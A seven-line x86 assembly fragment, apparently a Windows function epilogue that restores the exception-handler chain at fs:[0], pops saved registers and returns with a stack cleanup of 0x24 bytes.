mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24